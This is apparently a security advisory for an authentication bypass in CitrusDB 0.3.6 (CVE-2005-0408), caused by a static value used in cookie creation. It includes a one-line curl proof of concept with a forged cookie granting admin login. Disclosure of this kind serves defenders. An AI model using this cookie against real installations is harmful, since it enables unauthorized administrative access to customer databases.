CitrusDB Remote Authentication Bypass Vulnerability

BID:12560

Info

CitrusDB Remote Authentication Bypass Vulnerability

Bugtraq ID: 12560
Class: Design Error
CVE: CVE-2005-0408
Remote: Yes
Local: No
Published: Feb 15 2005 12:00AM
Updated: Jul 12 2009 10:06AM
Credit: Discovery of this vulnerability is credited to RedTeam.
Vulnerable: CitrusDB Customer Database 0.3.6
Not Vulnerable:

Discussion

CitrusDB Remote Authentication Bypass Vulnerability

CitrusDB is reportedly affected by an authentication bypass vulnerability. This issue is due to the application using a static value during the creation of user cookie information.

An attacker could exploit this vulnerability to log in as any existing user, including the 'admin' account.

This issue is reported to affect CitrusDB 0.3.6; earlier versions may also be affected.

Exploit / POC

CitrusDB Remote Authentication Bypass Vulnerability

No exploit is required.

The following proof of concept is available for demonstrating cookie information sufficient to log in as 'admin':
curl -D - --cookie "id_hash=4b3b2c8666298ae9771e9b3d38c3f26e;
user_name=admin" http://www.example.com/citrusdb/tools/index.php

Solution / Fix

CitrusDB Remote Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

CitrusDB Remote Authentication Bypass Vulnerability

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